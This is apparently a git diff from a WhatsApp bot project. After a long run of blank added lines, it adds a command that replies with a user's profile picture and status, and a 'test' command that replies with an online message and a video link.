+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+const {adams} = require("../Ibrahim/adams");
+const conf = require("../config")
+const {jidDecode}=require("@whiskeysockets/baileys")
+
+
+adams( {
+ nomCom : "profile",
+ categorie : "Fun",
+ },
+ async(dest,zk, commandeOptions)=> {
+
+ const {ms , arg, repondre,auteurMessage,nomAuteurMessage, msgRepondu , auteurMsgRepondu} = commandeOptions ;
+ let jid = null
+ let nom = null ;
+
+
+
+
+
+ if (!msgRepondu) {
+ jid = auteurMessage;
+ nom = nomAuteurMessage;
+
+ try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
+ const status = await zk.fetchStatus(jid) ;
+
+ mess = {
+ image : { url : ppUrl },
+ caption : '*Nom :* '+ nom + '\n*Status :*\n' + status.status
+ }
+
+ } else {
+ jid = auteurMsgRepondu;
+ nom ="@"+auteurMsgRepondu.split("@")[0] ;
+
+ try { ppUrl = await zk.profilePictureUrl(jid , 'image') ; } catch { ppUrl = conf.IMAGE_MENU};
+ const status = await zk.fetchStatus(jid) ;
+
+ mess = {
+ image : { url : ppUrl },
+ caption : '*Name :* '+ nom + '\n*Status :*\n' + status.status,
+ mentions:[auteurMsgRepondu]
+ }
+
+ } ;
+
+
+
+
+
+ zk.sendMessage(dest,mess,{quoted : ms})
+ });
diff --git a/scs/bmwbi.js b/scs/bmwbi.js
new file mode 100644
index 0000000..0dfe8ff
--- /dev/null
+++ b/scs/bmwbi.js
@@ -0,0 +1,14 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const { adams } = require("../Ibrahim/adams");
+adams({ nomCom: "test", reaction: "🧒", nomFichier: __filename }, async (dest, zk, commandeOptions) => {
+ console.log("Commande saisie !!!s");
+ let z = '*🌍𝑩𝒐𝒕 𝒊𝒔 𝒐𝒏𝒍𝒊𝒏𝒆🌍* 🙏 \n\n ' + "𝑻𝒉𝒆 𝒃𝒐𝒕 𝒊𝒔 𝒄𝒖𝒓𝒓𝒆𝒏𝒕𝒍𝒚 𝒘𝒐𝒓𝒌𝒊𝒏𝒈 𝒐𝒏 𝒂 𝒈𝒐𝒐𝒅 𝒔𝒑𝒆𝒆𝒅😉👍";
+ let d = ' 𝑯𝒆𝒂𝒍𝒕𝒉 𝒔𝒕𝒂𝒕𝒖𝒔✨';
+ let varmess = z + d;
+ var mp4 = 'https://telegra.ph/file/ce58cf8c538b1496fda33.mp4';
+ await zk.sendMessage(dest, { video: { url: mp4 }, caption: varmess });
+ //console.log("montest")
+});
+console.log("mon test");
+
diff --git a/scs/bmwbo.js b/scs/bmwbo.js
new file mode 100644
index 0000000..67ffcee
--- /dev/null
+++ b/scs/bmwbo.js
@@ -0,0 +1 @@
